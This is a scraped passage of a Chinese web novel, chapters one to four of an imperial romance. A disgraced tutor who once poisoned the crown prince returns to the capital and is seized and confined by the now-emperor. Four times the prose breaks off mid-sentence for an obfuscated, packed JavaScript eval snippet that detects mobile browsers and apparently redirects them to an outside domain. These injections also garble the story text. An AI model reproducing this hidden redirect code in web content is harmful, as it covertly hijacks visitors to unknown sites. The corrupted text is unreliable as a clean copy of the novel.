《帝王强取豪夺的白月光》 1. 第一章 “嘭!” 瓷瓶落地炸裂开来,零碎尖锐的瓷片散了一地,一时映衬得满地狼藉更加狼狈。 狭小的帐篷之中,两个人对站而立。 高大的男子淡淡地看着满地狼藉,将其一脚踢开,把收拾好的行囊搭在肩上,毫不留情地转身欲走。 而站于他对面的人低垂着头,黯然地看着地面上已然被摔得粉碎的物什,无力地垂下了手。 沈棠雪的呼吸放得轻缓,垂眸看着这些曾经珍视的物什被摔得支离破碎,感觉与兄长相依为命的那些时光也一并被摔入土里了。 他睫羽微颤,轻轻道:“哥……这些东西你都不要了吗?” 与他一式两份的东西沈从陵一个都没带走,像是嫌恶地要跟他撇清关系。 可他们本来相依为命,是彼此唯一的血亲,为什么会变成现在这样? 沈从陵不为所动,冷笑一声,“不然呢?” 反叛王瑄王入狱,草原的人已经被尽数押送入京,只剩他们二人。沈从陵与他从小一起长大,一并来去,如今也应一齐离开才是。 可是此时看着沈从陵的疏离神色,他竟有些不敢靠近。 沈从陵没有带他走的意思。 沈棠雪沉默半晌,慢慢抬眼看着他,“那我呢……你也不要了吗?” 沈从陵转过头来,却是漠然地看着他,眼里没有一丝动容,像在看一个厌恶的陌生人。 他扯了扯嘴角,皮笑肉不笑道:“要你?” “高高在上的沈太傅如今无家可归了,要我带你走了?” 什么……? 沈棠雪瞳孔微缩,怔怔看着他的眼神茫然,却又听沈从陵冷笑一声,继续道: “我倒是忘了,三年前你抛弃的小太子如今是权势滔天的新帝,你找好的靠山瑄王已然入狱,你如今无路可去……一无所有了。” 他的语调带着嘲讽和落井下石,沈棠雪瞬间像是被一盆水浇下,彻骨冰冷。 沈棠雪的嘴唇大幅度地颤抖,袖中的手指甲嵌入皮肉,不可思议地看着沈从陵,没想到这是他会说出口的话。 沈从陵明明知道,是因为他在瑄王手下做事,他才忍辱负重甘愿委身在瑄王身边,只为求他平安; 他也知道,是因为他不想去京城卧底,他才自告奋勇以身相替,为此甚至要担上谋害皇嗣的罪名 …… 为什么这桩桩件件为着他做的事…… 他却能这般理所应当地转而化作刺向他的利刃? 沈棠雪的心猛地揪在一处,再看向沈从陵时,多熟悉亲近的面容都变得陌生。 他感觉嗓子都干涩,沙哑着道:“我明明是为了……” “为了我?”沈从陵打断他的话,嗤笑一声,眼神却骤然发沉,语气起了一股恨意,“你少在这里假惺惺……” “你自以为帮得我够多,看我像条狗一样在瑄王面前摇尾乞怜,你很得意吧?” “明明我才是最先被瑄王器重的人,到头来却只能在草原通过沾你的光才能讨得一些好处。” “我在草原这些年阿谀奉承、看人眼色……都是因为你……我当真厌恶透了你!” 这一番话如同一道利刃,将往日温情的假象彻底撕裂开来,露出鲜血淋漓的内里。 沈棠雪张了张口,发觉自己心发沉地绞在一处,嗓子也好似被情绪压得坠底,嗫嚅半晌都说不出辩解的话语。 为什么他会这么想? 沈从陵不想听他的回答,神情冰冷如霜,连同往日温情的一字一句全数抛弃。 他最后给了沈棠雪一个冰冷的眼神,双手缓缓按上肩上的包袱,毫不留情地转身往外走去。 没有任何停留。 沈棠雪的呼吸都放得轻,缓缓闭上眼卸下了全身力气,看着他决绝的背影,没有再追上前去。 帐篷内是支离破碎的一片狼藉,而在帐篷之外,广阔无垠的草地茫茫。 天地孤寂,当微风吹过时,他终于明白,自己当真一无所有了。 …… 是秋,京城中火红的枫叶随风摇曳,又被唰拉吹落在地,被行人踩出嘎吱的清脆声响。 沈棠雪只身走在城中的街道上,缓缓仰起头看着面前已然陌生的街道与其中来来往往的行人,深深地呼了一口气。 京城,真是许久不来了。 三年前他给太子李妄迟下毒之事败露,当晚叛逃,京城对他来说便算了个禁地。而如今李妄迟登基,瑄王入狱,一切尘埃落定。 他竟也兜兜转转又回到了这里。 ……真是造化弄人。 他自嘲地轻笑一声,缓缓垂下眸子,拉紧了脖颈间裹着的绒毛披风,向前走去,走进街道上熙熙攘攘的人群之中。 “客官——客官!来这看看!” “新鲜出炉的肉包子咯!香得很哦!” 今日城中似有快乐之事,百姓洋溢着喜气洋洋的气息,皆围在摊位上笑闹着置办物什。 “客官,买点什么?” 沈棠雪想着也在京城置办了一处宅子之事,便也凑近,随意地拨弄着手上的物什。 忽而听见耳边有人扬声说些什么,语调振奋。 “瑄王终于入狱了,这该死的这些年携领倭寇带来了多少战乱,惹得民不聊生,早就该千刀万剐了!” “还是陛下有手段,将其一网打尽!如今天下真是太平了!” 听到两个熟悉的名字,沈棠雪动作微顿,呼吸一滞。 算算时候,今日也确是瑄王与其手下的囚车抵达京城的日子了。 他还未想完,却又听人接着道:“话说,入狱的囚车上怎的没看见沈太傅的身影?当年他不是叛变到瑄王那儿去了么?” “哈哈……就算他当真跟着囚车入京,陛下又怎么舍得真让他入狱?你忘了三年前陛下几乎要将京城翻了个遍都要找到他的样子了?” 沈棠雪缓缓收紧了手上的力道,沉默着抬手,将半透明的面帘暗暗拉紧了几分。 “真是可惜!他们二人当年可真是一对眷侣,可惜沈太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036278|178699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅站错了队!如今算是一败涂地了……” “谁说不是呢……” 玉白的指节紧绷,指甲几乎要嵌入掌肉,沈棠雪低垂下眉眼,却是有些听不下去了。 三年前,先皇病重,与皇位失之交臂的瑄王李锦殊暗中蛰伏在云州,伺机与倭寇勾结惹出事端。 李锦殊与当时的太子李妄迟对峙得激烈,正是对皇位虎视眈眈,试图撺掇位置的关键时候。 而他沈棠雪作为派来安插在京城的卧底,在同时收到了一封信笺。 李锦殊要他给李妄迟下毒。 那毒放在小玉瓶之中,无色无味,只需将其全数放进李妄迟每日午时要喝的药中,便可悄无声息地取他性命。 而当时恰逢宫宴,洋溢喜庆人多眼杂,正是下手的好机会。 没想到,后来那一日却被闹得天翻地覆。 那一日,御膳房不知为何跑进一只野猫,碰掉了给李妄迟药罐上的盖子,一股脑扎了进去猛喝了两口,双脚一撅,死于罐内。 毒药事情霎时暴露,众人人人自危,皆去寻找最后动过药罐的罪魁祸首。 将线索指到了当时颇得恩宠的他身上。 他因提前准备好而当晚离京,却听闻李妄迟大发雷霆重罚了不少人,发疯一般几乎要把京城翻了个遍,却都没有寻到他的踪迹。 后来他回到瑄王身边之事传至京城,众人讨论不休,甚至听闻在之后李锦殊带兵攻打之时……李妄迟还同他对峙过。 而如今……他确也三年没见过李妄迟了。 沈棠雪转眼看向京城物是人非的模样,缓缓垂下眼睫,苦笑一声。 当年众叛亲离的小太子如今登基,成王败寇,李锦殊也已入狱,再折腾不出水花来了。 而他的身子骨……也不是很好了。 左右不过三个月的寿命,就不要再折腾了。 那一笔破烂债,就算了吧。 沈棠雪沉默着将方才置办好的物什收拾妥当,缓缓抬步往置办的宅子走去。 行步之间,却听身旁忽起一阵由远及近的马蹄声,由远及近愈发明晰。 一辆驷马轩车卷起一阵飞尘,从他身前飞驰而过,行事嚣张。 “驾!” “让开!让开!” 他猝不及防地被乌烟瘴气扑了一脸,猛地拉着披风往旁躲去,却还是被尘灰呛得猛猛急咳起来。 “——咳咳!” 他咳嗽得愈发颤动,眼圈发红,顿时瓷白的小脸更显苍白,易碎得可怜。 沈棠雪的呼吸颤抖,艰难地按着胸口缓慢地呼吸着,正欲直起身,却听数秒后马车疾驰声似是停下了。 紧接着几道脚步交叠着愈来愈近。 只见从马车中走下来几位高大的侍卫,带着不容拒绝的压迫感缓缓向他走来。 沈棠雪眼神一凛,悄然地退后两步,谨慎地紧绷着身子观望着,却顺着马车上一道几乎凝如实质的视线—— 对上了一双与李妄迟有三分相似的眼睛。 2. 第二章 那一双眼睛毫不收敛地上下打量着他,带着一分势在必得,似又觉着此事稀疏平常,平垂着的眼神带了些漫不经心。 马车上的男子吊儿郎当地半倚着,修长的手指轻轻撩开车帘,穿金戴银,张扬到夸张。 就算不是王孙贵族,恐怕也是京城有名的纨绔。 他似是干多了这样的事,对峙之间,三尺之内都无人敢靠近马车,只敢小声嘀咕着, “端王又要当街抢人了?这人瞧着都不像京城人,也要被这般强抢去?真是可怜啊!” “这可是陛下从小一起长大的弟弟,陛下对他纵容得很呢!还指望谁来治治他么?还是躲着点吧!” 沈棠雪身子一僵,抬头对上那人的视线。 ……李妄迟的弟弟? 他眉头一蹙,却也没心思想这许多了,警惕地冷眼看着愈发逼近的侍卫,暗暗退后两步,下意识地将手放到腰间那一柄细长的轻剑上。 “唰拉!” 沈棠雪双指相并,按着剑柄飞快地将轻剑抽出挡在身前。一时间,剑身锋利,带着微颤的嗡鸣,被阳光照得倒映出锐利的冷光! 他握着剑抬手便刺,尖锐的剑锋毫不犹豫地直直地指向距离最近的侍卫—— “嗖!” 只见刀光剑影之间,那侍卫一时不察,被他硬生生逼退两步,空出一个安全的间隙来。 沈棠雪并未停顿,脚尖一转朝着空隙退去,环视一圈暗暗计算着逃出的路线—— 下一秒却倏然眉头一皱,一股痛感从手腕之处直直传来,几乎钻心疼痛! 他的瞳孔微缩,大脑猝不及防空白了一分,怔怔地顿了一秒,才猛然想起…… 在草原之时,他便已经经脉断裂。如今这副身子脆弱得可怜,已然无力挥剑了。 可如今形势紧迫,容不得他露出一丝疲态来。 沈棠雪的额上冒了一滴冷汗,暗暗地环视一圈。 感受着按着剑柄的指尖微不可察地颤抖、逐渐绵软,他面上不显地暗暗咬牙,青筋暴起,用尽全力地紧紧摁着剑柄—— 却见那几名侍卫倏然将他围在其中,大步走来! “唰拉!” 一名侍卫不知何时抽出佩剑,以一个极为刁钻的角度向他刺来。 沈棠雪目光一转,下意识提剑去挡,一时铿锵交戈声骤然响起! 剑身一回一挡,他为了不显怯而续上了全身力气,此时却是因着一时不察,被顺着剑身而来的一股强烈力道震得手腕发疼,顿时整只手酥麻一片。 他闷哼一声,霎时被接下来的攻势一震,手臂控制不住地发软。 锋利的轻剑顺着他的指尖滑落,嘭的一声掉到地上! 侍卫见状对视一眼,三两步上前来猛地抓住他纤细的手臂就要将他往马车上拖去。 “放开——放开!” 沈棠雪剧烈地挣扎起来,却宛如蚍蜉撼树,不可撼动一分,须臾之间,便被人架着踉跄地猛然跪在了马车上。 “嗬……” 他闷哼一声,气息颤抖,颠簸之中已然有些气若游丝。他的脸色愈发苍白,眼圈却在挣扎中有些发红了。 他颤了颤眼睫,再缓缓冷眼看向面前人时,眸中水光潋滟。 端王正坐在马车上,见此情形,饶有兴味地俯下身来,捏着他的下巴端详片刻,指尖游离在沈棠雪的面帘之间,半扯不扯,似笑非笑道: “美人……” 温热的吐息喷在沈棠雪的颈侧,带着些旖旎的暧昧,他倏然指节一蜷,指尖勾着沈棠雪的面帘一扯—— 下一秒却猛地睁大了眼,不可置信地顿在了原地。 端王瞳孔紧缩,宛如一盆冷水浇下,咋舌道:“沈、沈太傅?” 看着沈棠雪被拉扯得衣裳半褪的模样与其白皙的皮肉挣扎之间被摁出的红痕,他冷汗直冒。 方才的旖旎心思早已褪了个干净,端王慌忙地将人拉起,坐立不安。 正当他欲要恭恭敬敬地将人带到座椅旁时,却被沈棠雪冷冷地甩开了手。 沈棠雪退开一步,冷着脸伸手将衣襟拉好,转身便要下车。却被他急急忙忙伸手挡住了退路。 不告而别了三年的沈太傅如今终于有了消息,他若不将人看住了,被李妄迟发现了怕是要将他千刀万剐! 端王的额上直直落了一滴冷汗,干笑一声,连忙胡诌着套近乎道:“许、许久不见,先去王府喝杯茶怎样?” 沈棠雪探究般上下打量了他一番,摸不准他的意思,漠然道:“不必了。” “沈太傅……京城人多眼杂,我当着众目睽睽的面将你抢上车,如今就这样放你走,怕是他们要起疑的……” 沈棠雪瞧着他的架势,微眯着眼,终于看出来他要留人,不为所动眼神泛冷道:“那又怎样?” 他没有傻到看不出来端王是在拖延时间,如若将他回京的消息传到宫里去,那才真是无妄之灾了。 眼见着沈棠雪去意坚决,端王踱步沉思片刻,却没有放他走的意思,暗暗握紧了拳,咬牙暗道:得罪了! 他朝着沈棠雪身后的侍卫使了个眼色。 下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而右侧那人的身形瞧着不甚灵活、反应稍慢,他应当能趁其不备,快速从门中绕出去…… 他暗暗下定决心,右脚后撤,缓缓提剑高举头顶,快步往前冲了上去时,却听倏然吱呀一声—— 铜门环被轻扣一声拉开,被簇拥着的端王以及甩着拂尘的御前太监“徐公公”映入眼帘…… 和正欲敲晕侍卫的他面面相觑。 沈棠雪:…… 3. 第三章 一时鸦雀无声,沈棠雪已然无语凝噎,沉默了半晌,若无其事地放下了剑。 端王大惊失色地连忙上前来一把抓住他的手臂, “您怎么又要走啊?我不是说把人给我看住了吗!徐公公……您看?” 沈棠雪默不作声地挣脱开他的手,顺着他的视线望去,看向了远处站着的那位熟人——徐公公。 这位徐公公在三年前李妄迟还是太子的时候便在御前伺候着了,如今新帝更迭,更是御前的红人。 他似是匆匆而来,鬓边还有风尘,那一双略带沧桑的眉眼复杂地看着沈棠雪,搭着拂尘的手蜷了又放,半晌,嗫嚅片刻欲言又止,还是什么都没说。 但他应当是带着旨意来的。 沈棠雪下意识地紧绷着身子,像听从发落一般对上他的视线,希冀一个不会让他进宫的可能性。 半晌,却还是听徐公公轻叹了口气,“沈……小贵人,陛下宣您入宫。请吧。” 此话一出,再没有转圜余地了。 沈棠雪认命般的叹了口气,缓缓沉下肩,卸了全身力气,缓缓抬步闷声跟在他身后,低垂着眼睫一言不发。 直至坐上马车,二人都未曾说上一句话。 沈棠雪低垂着眉眼轻扯过衣角坐在马车的最旁端,像是逃避一般地别过脸去。 宽大的白衣松松垮垮地挂在他的身上,束带扣住的腰身不盈一握,衬得他更为瘦削。 徐公公看着他如今消瘦的模样,面露不忍,张了张口还是道: “沈太傅……听老奴一句劝。您曾经与陛下感情甚笃,如今瑄王入狱,您也没了靠山,一会儿,卖陛下个好,服服软,当年那事就过去了。也不必再遭罪了。” 沈棠雪一顿,抬起眼皮看他。他的眼神分明温和,却平静得波澜不惊, “可他差点死在我手上,忘得掉吗?” 当年之事就像是一道坎,深深地刺在二人心间。谁也心知肚明忘不掉。 哪怕当年阴差阳错地没有出事,也没人想枕边人突然提刀,将利刃直直地刺向自己。 他不指望李妄迟能放下,换作他也放不下。 此番进宫,他也做好被李妄迟翻旧账的准备了。当年他离去得潇洒利落,不留一丝眷恋,也该想到这一天的。 李妄迟要杀要剐也是应当,他该赎罪的。 徐公公听了他的话,却是急急反驳道:“可是这几年,陛下他……” 可方才那些话似是已然耗尽了沈棠雪所有的气力,他闭上眼,呼吸都放得轻缓,不再应答了。 微侧的面颊瘦削,薄唇苍白得毫无血色,他的眉心微微蹙着,修长的双手无力地搭在膝上,刹那如凋谢的梅花一般衰败下去。 徐公公大惊失色,哪敢再与他争论什么,连忙命人拿软垫来,小心看护着,直到入宫才敢松懈一分。 沈棠雪缓缓走下马车,于黄昏入宫时,天边的昏黄斜阳散发着温暖的光芒。 他轻拢着披风,转眼看向面前熟悉的三年未见的琼楼玉宇,有些恍然。 他也曾与爱人并肩走过此处,二人笑脸盈盈举止亲密,也曾天造地设。 而如今……早已物是人非,两人也判若云泥了。 沈棠雪眼睫微颤,几不可闻地喟叹一声,孤身一人先行款步往前走去。 穿过长长连廊,微风轻晃着卷帘。乾清宫的屏风隐隐绰绰地勾勒出殿中光景。他于门扇旁站定轻倚,看见了那三年不见的身影。 ……李妄迟。 端坐在龙椅上的人面容冷峻,眼神凝凝,正抬手翻阅着奏折。 他的动作干净利落,脸颊轮廓锋利,垂下的眼睛深邃幽深,神情轻敛。 轻沾墨写、全神贯注的模样,当真有些贤明仁德的帝王样子了。 可瞧着也不似当年那个总是扬着笑意、带着少年意气的太子了。 沈棠雪掩在门扇一旁悄然看着,不由得一股酸涩的异样直上心头。 忽而他觉得有些恍然,纤长的睫羽微颤,黯然地垂下眼皮,缓缓攥紧了袖中的手。 却没注意到李妄迟不知何时停下了手中的动作,撩起眼皮朝他看来。 冷峻的面容眼底似有波涛汹涌,奏折之下,李妄迟那一双修长的手猛然收紧,手背青筋暴起,连竹页都几乎要被捏碎。 他缓缓站起身向沈棠雪走来,脚步如沉沉鼓点打在心上,一步一步走下台阶,款步站定在他的面前。 “……妄迟?” 沈棠雪堪堪回神之时,便已见他逼近身前。 高大的阴影将他笼罩在其中,他怔怔地抬起头来,对上了李妄迟紧盯着他的双眼。 那双眼冷得像冰,又似蓄势待发的狼,紧紧地盯着自己的猎物。 沈棠雪本能地发怵,暗暗地往后挪了一步,却见李妄迟又顺着他的动作往前逼近。 他无处可避,踉跄着向后一仰,身形歪斜地靠在了身后的案几上。 整个后背紧贴着案几,他的手肘死死地靠在屏风之上,二人间的空间狭小。 沈棠雪被愈发逼近的烫热气息压制得呼吸都急促了两分,眼睫颤动得厉害,别过脸去。 却见李妄迟伸出手来,轻捏着他的下巴扳正他的脸,强迫他看向自己。 烫热的呼吸都响彻在他的耳畔,比三年前更沉的声音带着难以言喻的情感,嘶哑着喊着他的名字, “沈棠雪……” 沈棠雪被喊得身子一僵,支撑着躯干的双手都紧紧蜷起,颇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036280|178699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有种任杀任剐的架势。 紧闭了双眼。 眼前人却没了下一步的动作。 黑暗之中,李妄迟的呼吸似都显得轻缓。 正当他逐渐沉了肩头欲要松懈、将要睁眼瞧上一瞧的时候,却感觉一道熟悉的气息渐近。 紧接着,一只烫热的手缓缓抚上了他的脸颊。 那只手像一团火一样,四处撩拨,修长的指尖轻柔地描摹着他的五官,细细地顺着着眉峰一路滑过。 抚摸过他的眼尾,绕过他的鼻梁,最后……按在他的唇瓣。 “……瘦了。” 一声恍然的呢喃,让沈棠雪紧闭的纤长眼睫微不可察地颤了一下。 他缓缓睁开眼,对上了近如咫尺却幽黑得发寒的双眼。 那双眼深邃得如深渊一般,沉得没有光芒,将曾经那样饱含爱意的热烈眼神吞噬得消失殆尽…… 取而代之的是不断涌上的偏执到发疯的冷意。 像一道漩涡,目光灼灼之时几乎要将他拉入其中。 沈棠雪喉头一紧,启唇正欲说些什么,却见李妄迟的指尖又缓缓往下滑去,连同着那暗暗的眼神都一并停留在了他的脖颈之上。 停留在了脖颈上方才王府挣扎之时留下的红痕。 白皙的皮肤被雪白的绒毛披风半遮半掩地藏着,却映衬得那似掐似吻的红痕愈发明显。 那痕迹红得深深浅浅隐隐约约,显得刺眼至极。 眼前人的眼神肉眼可见地变得锐利,语气带着微不可察的怒意,“你上了他的马车?” 沈棠雪想起方才被拖拽的一场乌龙,眉头一皱,语气也带着不满, “不是他告知你我回京城的消息么?如若不是被他拉上了马车,我如今怎会在这?” 如若不是路遇端王,他此时已然置办好物什回了宅子,而不是被逼着进宫,更不会像如今这般,被他强硬地禁锢在此处,狼狈至此。 却没发现李妄迟垂眸看着那处红痕,按着他脖颈的指尖竟是有些颤抖了。 李妄迟紧紧抿着唇,按在他脖颈上的手缓缓收紧,一下一下用力地用指腹擦过红痕,像是执着地要消去这些痕迹。 可只是在这白皙的脖颈上平添一道道用力擦过的红痕罢了。 沈棠雪疼得闷哼一声,顿时呼吸愈发急促,反应极大,被逼得仰起头来,连出口的话都吃力,“你……” 他急促地呼了两息,眼尾因呼吸不畅而泛起一层薄红。 半晌,沈棠雪咬紧牙关颤抖地伸出手来,一根一根将李妄迟抓握着他脖颈的手指颤抖地掰开—— 随后用力一推,一把挣脱开他的束缚,踉跄着往旁躲了两步—— 捂着脖颈,咳得撕心裂肺。 4. 第四章 沈棠雪按在案几上支撑着身子的修长五指苍白无力,丝绸般的乌发凌乱地披散在肩上,就连毫无血色的脸颊都只余眼尾有一丝薄红的颜色。 他的睫毛湿漉漉的,巴掌大的小脸被掩在毛茸茸的披风里,侧脸淡漠瘦削,宛若冰雪中的瓷娃娃。 衬得他更为虚弱了。 李妄迟恍然地后退两步,似是方回过神来,看着他这副模样,身形微晃。 沈棠雪……怎会变成如今这副模样? 面前的人眼睫微颤,压着的眼皮肉眼可见地透露出虚弱来,连扼住脖颈的手都近乎失力…… 像一个一碰就碎的脆弱空壳。 仿若当年意气风发的模样都被全数抽走。 李妄迟倏然觉得很荒诞。曾经多么灵动生气的一个人,清风朗月,对谁都是温柔笑着的。他的武功明明这么高强,那一柄轻剑比谁都使得熟练…… 如今却如柳絮一般,一吹就要飘走。 ……如果三年前他并未下毒离京,依旧留在他身边,何至于落到如今这等境地? 自己又何需……看着他这般虚弱得几乎要死去的样子? 他感觉自己的心脏仿若被一只无形的手攥紧了,下一瞬又被一簇怒火压了下去。 李妄迟的尾音被怒火压抑得发颤,语调又沉沉,抑制住了大部分的情绪, “当年走得毫不留情,如今发现选错人了?看着曾经追在你屁股后面跑的小太子登上皇位,后悔么?” 他的目光灼灼,紧紧地观察着沈棠雪一丝一毫的反应。 却见沈棠雪身形一顿,缓缓低垂下头,泄气地轻笑一声。 随后,转眼看他,呼吸逐渐放得很轻。 那一双漂亮的眼睛柔和下来,视线流转轻轻描摹着他的五官,眼底是能将他拉回三年前的温柔。 半晌,他柔声说:“我不悔。” 这一句话宛如平地惊雷,吸收走了这殿内所有的空气,叫人喘不过气来。 徐公公匆匆赶来时,看到的便是这一幕。 看着李妄迟眼神骤然阴鸷,脸色如黑云压城的模样,他猛地打了个寒战,瞬间头皮发麻,连呼吸都不敢。 下一秒,只见李妄迟的声音如掺了冰一般,宛如下一秒就要将沈棠雪吞吃入腹, “……好啊,你不后悔。” “你既是瑄王的人,也理应跟乱臣贼子一样,关到地、牢、里、去!” 徐公公看着两人对峙得激烈,急得左顾右盼,像热锅上的蚂蚁,不知如何是好。 那地牢冷得骇人,又尽是恶意的污言秽语,沈太傅如今这般脆弱的身子,去那儿恐怕都没几天好活! 陛下怎可让他真去那种地方?! 他顿时将眼神投向沈棠雪,就指望他服个软,说几句漂亮话。 沈太傅这么聪明,不会认不清如今的局势,他在京城无依无靠,去哪都是陛下一句话的事。 而二人曾经情谊这般深重,只需软声软气地求他一求,陛下定会心软啊! 他的眼神端得希冀,却没想到沈棠雪只是缓缓裹紧了披风,点了点头,启唇道: “我也是乱臣贼子,理应如此。” 他此话一出,一时间,殿内静得针落可闻。 李妄迟的面色骤然阴沉,霎时周遭气压骤低。 ……当初抛弃自己的是沈棠雪,如今虚弱得要死去时说不悔的也是沈棠雪。 甘愿去地牢的是沈棠雪,放不下瑄王的也是沈棠雪…… 自己就这么下贱吗,非沈棠雪不可了?! 他缓慢地上前两步,瞳孔缓缓幽暗得发寒,如今竟有了些森然可怖的意味。 半晌,他的唇齿泄出一分冷笑,咬牙道:“你对他真是情、根、深、种,宁愿到地牢也要跟他待在一起……” “那朕便顺了你的意……” 李妄迟冰冷地转眼看向徐公公,冷声吩咐道:“送他去瞬鸿宫!” 徐公公一惊,“陛下……!” 那瞬鸿宫冷得跟地牢一样,还死过人啊!沈太傅本就身子弱成这样,怎能去那种地方? 他急得团团转,张了张口急急上前,正欲再说上一说,求陛下收回成命。 沈棠雪却已然淡淡笑了一下,先行应了下来,“好。” …… 一股阴风呼啸,将瞬鸿宫院外的野草摇晃得发出哭嚎般的呜呜声。 远远望去,宫殿的四面被阴冷的薄雾笼罩着,像是雾蒙蒙的囚笼。 只听咔嚓一声,野草被倏然踩碎,有人匆匆提着脚步往殿里走去,踩过院前深深浅浅的水洼,焦急地喊着沈棠雪的名字, “阿雪……阿雪?” 殿中人只身坐于床沿,眼眸淡然地垂下,感受着周遭刺骨的寒意。 半晌,他闻声抬眼温和地笑了一下,轻声唤道: “将时。” 那人颤抖地走近上前,伸手握住了他冰冷的指尖,不敢置信他如今这副模样。 他缓缓半跪在沈棠雪身前,拢紧了他的披风,颤抖着声音道: “你回京了……怎么不知会我一声?我从别人那里得知你的消息,谁知你竟在这种地方。” 沈棠雪歉意地笑笑,“没告知你,是我不好。” 谢将时是他知根知底的友人,相识五年情谊深厚,但同样在三年之前,两人再无联系。 按理来说,回京应当告知他一声的。 可事出匆忙,他又拖着这副虚弱得只余三个月寿命的身子,便觉着……只远远地再看一眼谢将时如今的模样就好了,没必要相见了。 谢将时微微蹙起眉,心疼地伸出手来抚摸着他的侧颊,缓声问道:“怎么瘦了这么多?” 面前人脸颊消瘦,手虚虚地搭在床榻上,呼吸气若游丝。 沈棠雪瘦削的的肩膀轮廓被宽大的桃夭色衣裳勾勒得明晰,蝶翼般的睫毛微微颤动之时,白皙的小脸在这冰冷的殿室愈显苍白。 像日渐枯萎的白梅。 ……可沈棠雪以前不是这样的。 他记忆中的沈棠雪眼底总有明亮的碎光,那一张漂亮的面庞总是带着笑意,如春日般明媚。 为何……会变成如今这副模样? 他将沈棠雪如今的模样全数收入眼中,霎时,无需开口也已然明白了这三年他在草原的处境。 明明……这两年阿雪听话地往草原递了不少消息,也得了李锦殊会善待的承诺。 为什么还会如遭受了许多苦痛一般,虚弱得如今快要死去的样子? 谢将时呼吸逐渐放缓,似是倏然想到了什么,身形一顿。 莫不是因为那事? 当年沈棠雪离京前只违背了李锦殊一事。他是不是因着那事,在回草原之时被李锦殊算账了?之后过得不好,才变成了如今这样? 谢将时嗫嚅半晌,只觉嗓子骤然干哑,试探地问道: “你后来因着那件事,回草原的时候过得并不好……是不是?” 沈棠雪缓缓抬头,那一双温和的眼睛平静地看着他。只是一秒,两秒,三秒。他没有反驳。 他的眼里似有一种难以言喻的复杂,像将种种情绪都深埋在眼底,最终又甘愿地闭上了眼,将其全数咽下。 像是默认,又像是已然释然。 看着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036281|178699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个眼神,谢将时还有什么不明白的。他感觉喉咙都被一只无形的手攥紧了,呼吸都放得颤抖,愤愤不平, “李妄迟究竟有什么好的?值得你这样!明明……明明……” 明明当时一切快结束了,他只需循着李锦殊寄的信笺做最后一件事,便能安然地回到草原,过很好的日子。 他会过很逍遥自在的一生,不会像如今这般…… 就因为他一句放不下,就甘愿地被抹平了这两年隐藏着身份、战战兢兢寄人篱下的日子。 曾经为草原做的一切努力都被化为虚无? 值得吗? 谢将时闭了闭眼,不忍细想他回草原又经受了些什么, “你当年没有要害他的心思……如今既已回京,为什么不将当年之事告诉他?” 沈棠雪笑了,温和地回道:“如今尘埃落定,告诉他有什么意义?” 谢将时沉默片刻,缓缓放轻了声调,“可他倘若知道你曾经……如今不会这么对你。” 阿雪如今的身子又脆弱至此,仿若一点寒气都能浸入骨子里去,又怎能来这如冰窖一样的瞬鸿宫? ……李妄迟又怎么舍得让他来这? 他垂下眼眸看着沈棠雪冰冷的双手,缓缓将其严丝合缝地包裹在掌心之中,轻柔地给他渡去一丝温度。 却听沈棠雪轻叹了口气,仿若喟叹一般,呢喃道:“是啊……他不会这么对我。但左不过只剩三个月了,怎样对待都无所谓了。” 谢将时猛地抬起头来,看向他轻描淡写的眼睛,浑身竟有些战栗了。 “只有三个月了?哪个庸医说的?我不信!” 他的下颌紧绷,眼神紧紧地注视着沈棠雪的眼睛,像是希冀地要一个答案,可沈棠雪并没有解释的意思,只是嘴角噙着一抹包容的淡笑。 谢将时脑中的弦顿时断了。 沈棠雪如今脆弱模样像是一个已经碎了个彻底的琉璃娃娃,只是小心地被拼凑成完好的样子,实则易碎得可怜。 呼吸都几不可闻,像千疮百孔的灵魂拖着同样千疮百孔的躯壳,再回不到从前意气风发的模样。 谢将时的嘴唇不住地大幅度颤抖,正欲与他争论个明白,却听一阵窸窣之声,沈棠雪缓缓凑近倾身下来。 他抬起指尖按住谢将时喋喋不休的唇,捧住他的面颊,不想再争论下去了,缓声道: “不想了,让我看看你。” 沈棠雪的眼神如碎光一般的温柔,连话语都像编织出一个柔软的梦境,叫人几乎要溺死在他的眼神里。 他的将时如今多好呀,意气风发,在朝堂之中被重用,举手投足都多了几分神气之色。 